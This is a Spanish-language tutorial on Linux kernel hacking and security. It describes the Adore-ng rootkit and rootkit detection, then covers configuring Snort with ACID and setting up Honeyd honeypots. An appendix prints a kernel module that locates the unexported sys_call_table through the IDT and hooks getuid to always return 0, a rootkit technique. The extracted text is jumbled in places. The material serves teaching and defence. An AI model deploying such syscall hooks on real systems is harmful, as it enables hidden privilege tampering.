Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso
Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente
Runs on kernel 24x UP and SMP systems
First test-versions successfully run on 260
File and directory hiding
Process hiding
Socket-hiding (no matter whether LISTENing CONNECTED etc)
Full-capability back door
Does not utilize sys_call_table but VFS layer
KISS principle to have as less things in there as possible but also being as much powerful as possible
Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y
Kernel hacks y seguridad JMP
carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore
La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes
Adore ~034 SucKIT Adore-ng gt=131
Interceptando el flujo de ejecucioacuten
Syscalltable Syscall handler VFS
Transferencia coacutedigo dentro del Kernel
LKM Acceso directo (raw shycrudo) a memoria
LKM
Incluye puerta trasera - Siacute -
Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs
Tabla Comparativa de algunos rootkits
Medidas de proteccioacuten y deteccioacuten de rootkits
Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas
Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten
Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap
linux head Systemmap
00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt
Kernel hacks y seguridad JMP
Otros meacutetodos tiacutepicos
Checksums de ficheros importantes (tripwire aide etc)
Backup de las estructuras centrales del kernel (kstat)
LKMs anti-rootkit
Herramientas forenses (TCT)
Analisis de logs etc
Utilidades para la deteccioacuten (rkhunter chkrootkit)
Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas
httpwwwchkrootkitorg
httpwwwrootkitorg
Conclusiones
Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante
Kernel hacks y seguridad JMP
Snort el cerdito valiente
SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red
Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias
Wreski y Christopher Pallack en Linuxsecuritycom
ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated
Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular
root emerge -pv snort
These are the packages that I would merge in order
Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB
Total size of downloads 0 kB
No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL
httpwwwsnortorgdl
Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio
2- Configuracioacuten baacutesica de Snort
Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de
Kernel hacks y seguridad JMP
Snort Dicho fichero se puede encontrar en
etcsnortsnortconf
pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro
Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso
El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria
Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero
1 Establecer las variables para nuestra red
2 Configurar el preprocesador de Snort
3 Configurar los plugins de salida
4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort
5 Personalizar nuestro set de reglas para Snort
La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea
Paso 1
Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario
Kernel hacks y seguridad JMP
var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS
Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes
var HOME_NET 1921681124
Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo
var EXTERNAL_NET any
Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay
var DNS_SERVERS $HOME_NET
var SMTP_SERVERS $HOME_NET
[]
Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten
var HTTP_PORTS 80 var BO-BACKDOOR 31337
var NO_SSH 22 include mis_directivasrules
Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar
config detection search-method lowmem
Paso 2
Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas
Por ejemplo preprocessor frag2
Kernel hacks y seguridad JMP
preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies
Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo
preprocessor stream4 detect_scans
preprocessor stream4_reassemble
Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados
A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto
Paso 3
Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema
Paso 4
Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados
Paso 5
Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo
3- Descargando nuevas reglas desde Internet
Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es
httpwwwsnortorgrules
yo
Kernel hacks y seguridad JMP
httpwwwsnortorgpub-bindownloadscgi
Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar
Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto
4- Prevencioacuten de intrusiones
Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort
Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ
Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway
httpsnort-inlinesourceforgenet (configure - -enable-inline)
Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado
Kernel hacks y seguridad JMP
Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red
httpwwwsnortsamnet
5- Usando ACID + SNORT
Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web
Kernel hacks y seguridad JMP
La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten
httpacidlabsourceforgenet
La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo
Luego necesitaremos a ser posible
Apache soporte GD OpenSSL MySQL
PHP soporte GD OpenSSL MySQL
MySQL
ACID soporte adodb jpgraph phplot GD
Y claro esta Snort con soporte para MySQL
Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios
Ejemplo
$ mysql -u root -p
mysql gt CREATE DATABASE snort
mysql gt GRANT ALL ON snort to rootlocalhost identified by password
$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort
Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias
Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid
Alert DB connection parameters
Kernel hacks y seguridad JMP
- $alert_dbname MySQL database name of Snort alert DB
- $alert_host host on which the DB is stored
- $alert_port port on which to access the DB
- $alert_user login to the database with this user
- $alert_password password of the DB user
This information can be gleaned from the Snort database
output plugin configuration
$alert_dbname = snort_log
$alert_host = localhost
$alert_port =
$alert_user = root
$alert_password = mypassword
Archive DB connection parameters
$archive_dbname = snort_archive
$archive_host = localhost
$archive_port =
$archive_user = root
$archive_password = mypassword
Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort
Kernel hacks y seguridad JMP
Creacioacuten de reglas propias para Snort
Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones
CABECERA
Accioacuten de la regla alert
Protocolo tcp udp
Direccion IP origen $EXTERNAL_NET
Puerto IP origen any
Direccion IP destino $HOME_NET
Puerto IP destino any
Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)
OPCIONES
Mensaje ldquohola directivardquo
Opciones flags Aack 0 reference
Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)
El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort
Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg
Conclusiones
Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro
Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales
Kernel hacks y seguridad JMP
Honeypots
Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos
Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema
Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P
net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1
Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2
De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto
httpwwwhoneydorg
httpwwwcitiumicheduuprovoshoneyd
Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd
Config file for etcinitdhoneyd
Set Network addressHONEYD_NET=10001
HONEYD_IF=lo
HONEYD_LOG=varloghoneydlog
Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs
Kernel hacks y seguridad JMP
Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints
-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc
Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc
Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en
httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)
2- Creando sistemas virtuales
Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)
Su contenido se muestra a continuacioacuten
route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024
Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset
create default set default default tcp action block set default default udp action block set default default icmp action block
create router
Kernel hacks y seguridad JMP
set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl
bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42
De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto
Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc
3- Otros usos
Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot
Listado de programas yo utilidades para el anaacutelisis de redes y auditorias
acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace
Kernel hacks y seguridad JMP
dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli
Conclusiones
Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto
ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo
Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G
Kernel hacks y seguridad JMP
BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET
kernel hacks
Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo
Coacutedigo fuente de ldquoAdore-ngrdquo
Material de las conferencias del ldquoHackandalusrdquo hackmeeting
HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo
Kernelnewbies httpeskernelnewbiesorg
Internet Relay Chat en ircfreenodenet
Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo
httpwwwomninerdcom20051122articles43
Phrack ldquoHiding Out Under Unixrdquo
Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten
Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap
Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)
Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg
Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm
Snort NIDS
Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID
OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004
Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo
Honeyd
Documentacioacuten del propio programa y web oficial (honeydorg)
Kernel hacks y seguridad JMP
Kernel hacks y seguridad JMP
Compilacioacuten de LKMs para la serie 26
En primer lugar necesitaremos crear un fichero llamado Makefile cuyo contenido sea
obj-m = moduloo
Explicar ahora el funcionamiento de los Makefile y demaacutes escapa de las pretensiones de eacuteste trabajo pero basta con saber que moduloo es el nombre del LKM que deseamos compilar
Hecho esto y situados en un directorio que contiene tanto el moduloc como el fichero Makefile ejecutamos lo siguiente
root make -C usrsrclinux SUBDIRS=$PWD modules
Una vez terminado el proceso tenemos un moduloko generado listo para insertar de manera habitual con insmod para eliminar el moacutedulo se hace de igual forma con rmmod
8- No exportacioacuten de la Sys_call_table[] para nuacutecleos 26x
Resulta que la famosa Sys_call_table que usaacutebamos para enganchar las syscalls ya no estaacute disponible para su uso indiscriminado asiacute que todo esto nos va a suponer un poco maacutes de trabajo
Encontrando la Sys_call_table[]
Ahora el tema se complica un poco y es preferible explicarlo teniendo en cuenta unos conceptos clave
Las Interrupciones son eventos que nos permiten modificar la secuencia actual de instrucciones que la CPU (x86) procesa Internamente Linux y nuestra maacutequina usan el vector 128 (Int 0x80) para las llamadas al sistema
Una IDT de sistema (Interrupt Descriptor Table) es una tabla en la que sea mapea cada vector a un manejador de excepcioacuten o una interrupcioacuten el registro idtr (en arquitectura x86) contiene la direccioacuten de la base de la IDT
Linux utiliza dos tipos de descriptores las Trap Gates y las Interrupt Gates de manera que los Gate Descriptors (traducido descriptores de puerta o pasarela) sirven como identificador para la direccioacuten de una interrupcioacuten o manejadores de excepciones Aquiacute hemos notado muchas veces que ocurriraacute un fallo de proteccioacuten general cuando el nivel de privilegios del Gate Descriptor es inferior al indicado por el nivel de privilegio de un programa
Un System Gate que es un tipo de Gate corre con un nivel de privilegio 3 (su Descriptor Privilege Level o DPL vale 3 para las System Gates y 0 para Trap Gates por ejemplo) esto es muy interesante para nosotros en el aspecto en que el vector 128 puede ser accedido por medio de syscalls gracias a la famosa Int 0x80 a de Linux y es lo que hacen los programas en modo de usuario
Kernel hacks y seguridad JMP
Resumiendo
Resulta que tenemos una IDT y una GDT (tabla de descriptores global) de manera que cuando queremos acceder a una syscall de sistema usando IDT + GDT se ejecuta una syscall definida iquestdefinida doacutende pues en archi386entryS gentileza del propio Linus Torvalds -)
El hack
Lo ideal seriacutea que editar (soacutelo lectura) archi386entryS para buscar una parte igual o muy similar a la que muestro en la serie 24 cambia ligeramente pero la idea es la misma
usrsrclinuxarchi386kernelentryS
Liacuteneas 225 a 259 de mi kernel 2614 sobre la 277 en versiones 269 y otras ndash por supuesto- esto es asi debido a algunos cambios que se han ido haciendo en el desarrollo
system call handler stub
1 ENTRY(system_call) 2 pushl eax save orig_eax 3 SAVE_ALL 4 GET_THREAD_INFO(ebp) 5 testw
$(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT)TI_ flags(ebp)
6 jnz syscall_trace_entry 7 cmpl $(nr_syscalls) eax 8 jae syscall_badsys 9 syscall_call 10 call sys_call_table(eax4) 11 movl eaxEAX(esp) 12 syscall_exit 13 [ continuacutea]
He omitido algunos comentario del fichero y demaacutes por brevedad
Atencioacuten en la liacutenea que va justo despueacutes de la etiqueta syscall_call ahiacute lo que hace es hacer una llamada pasando en el registro EAX el nuacutemero de la syscall En el mismo fichero entryS maacutes abajo deberiacutea haber algo como lo que sigue esto era cierto hasta las versiones 269 y otras pero recientemente y una vez maacutes esto ha cambiado un poco y ahora tenemos en mi kernel 2614 un fichero ldquosyscall_tableSrdquo en el mismo lugar que contiene una tabla con las llamadas al sistema no sabriacutea decir si es maacutes coacutemodo o no pero lo cierto es que lo deja con un aspecto maacutes bonito para trabajar
Esto es parte de su contenido
Kernel hacks y seguridad JMP
data ENTRY(sys_call_table)
long sys_restart_syscall 0 - old setup() system call
long sys_exit long sys_fork long sys_read long sys_write long sys_open long sys_close long sys_waitpid long sys_creat long sys_link long sys_unlink long sys_execve
long sys_chdir long sys_time long sys_mknod long sys_chmod long sys_lchown16 long sys_ni_syscall long sys_stat long sys_lseek
long sys_getpid long sys_mount long sys_oldumount long sys_setuid16 long sys_getuid16 long sys_stime long sys_ptrace long sys_alarm long sys_fstat long sys_pause long sys_utime long sys_ni_syscall long sys_ni_syscall long sys_access
long sys_nice long sys_ni_syscall long sys_sync long sys_kill long sys_rename long sys_mkdir long sys_rmdir long sys_dup long sys_pipe long sys_times long sys_ni_syscall long sys_brk long sys_setgid16 long sys_getgid16 long sys_signal long sys_geteuid16 long sys_getegid16 long sys_acct long sys_umount long sys_ni_syscall
y continuacutea
used for restarting
5
10
15
old break syscall holder
20
25
30 old stty syscall holder old gtty syscall holder
35 - old ftime syscall holder
40
old prof syscall holder 45
50
recycled never used phys() old lock syscall holder
Kernel hacks y seguridad JMP
Arriba donde dice sys_restart_syscall seriacutea la syscall 0 y sys_exit la 1 bien ese es el lugar para ir a mirar el siacutembolo correspondiente
Ahora tenemos que volcar el contenido de entryo (fichero objeto) del mismo directorio actual de entryS buscando algo MUY concreto queremos esa direccioacuten maacutegica y especial que tan ansiadamente buscamos
Procedo a usar GDB para desensamblar el fichero como muestro en la figura
Muy bien ahora ya hemos encontrado la direccioacuten que queriamos y apartir de esa direccioacuten ya es posible encontrar la sys_call_table
Lo podemos comprobar tambieacuten haciendo un volcado del fichero objeto con objdump
objdump -d entryo|grep ff 14 85
Ahora muestro un coacutedigo bastante probado que de una manera bastante ya estandarizada nos consigue la Sys_call_table[] para poder usuarla como cuando antes la exportabamos
El coacutedigo puede parecer un poco complicado pero hace lo que se ha explicado justo arriba y finalmente nos devuelve la direccioacuten donde se encuentra con un puntero
Kernel hacks y seguridad JMP
Obtenemos la sys_call_table[] en kernels de la serie 26 test
include ltlinuxinithgt include ltlinuxmodulehgt include ltlinuxkernelhgt include ltlinuxmmhgt para las pruebas include ltasmunistdhgt IDT struct
unsigned short off1 unsigned short sel unsigned char noneflags unsigned short off2
__attribute__ ((packed)) idt
IDTR struct
unsigned short limit unsigned int base
__attribute__ ((packed)) idtr el hook uid_t ( restaura)(void) la Sys_call_table ya no se exporta int sys_call_table siempre uid 0 ) uid_t cero_uid(void)
return 0 el hack static void syscalltable(void)
unsigned int offsi char sccall[128] ok necesitamos IDT toca usar asm() asm(sidt 0 =m (idtr))
printk(KERN_ALERT[IDTR] Base en 0xxn idtrbase) idt[80h]
memcpy(ampidt(void )(idtrbase+80x80) sizeof(idt)) offs = (idtoff2 ltlt 16) | idtoff1 printk(KERN_ALERT [IDT(80h)] Descriptor en 0xxn
verificando calln offs) memcpy(sccall (void )offs 128) vamos a ver si encontramos la cadenita FF1485 por ah) i=0while((ilt128) ampamp ((sccall[i] == xff) ampamp (sccall[i+1]== x14) ampamp (sccall[i+2]== x85)))
i++ sys_call_table =(void) ((int ) ampsccall[i+3])
printk(KERN_ALERT [OK] Sys_call_table -gt 0xpn sys_call_table) aqula tenemos ) NO verifico que no se haya encontrado P
Kernel hacks y seguridad JMP
empieza static int __init buscarsct(void)
printk(KERN_ALERT [CARGADO] Buscando Sys_call_tablen)
syscalltable() fundamental vamos a ver si es verdad ) restaura=sys_call_table[__NR_getuid32]
sys_call_table[__NR_getuid32]=cero_uidreturn 0
lo ponemos todo en orden static void __exit descarga(void)
sys_call_table[__NR_getuid32]=restaura printk(LKM descargado)
module_init(buscarsct) module_exit(descarga) ya estamos ) MODULE_LICENSE(GPL)MODULE_AUTHOR(Jose Miguel Porcel G)MODULE_DESCRIPTION(Obtener la Sys_call_table[])
Es este punto lo maacutes importante de ese coacutedigo ndash ya explicado - es maacutes bien saber que se puede utilizar esa funcioacuten syscalltable() en el resto de programas para obtener la Sys_call_table y poder usarla sin maacutes como se ha visto en el resto de LKMs anteriores
81- Otra alternativa iquestmaacutes sencilla
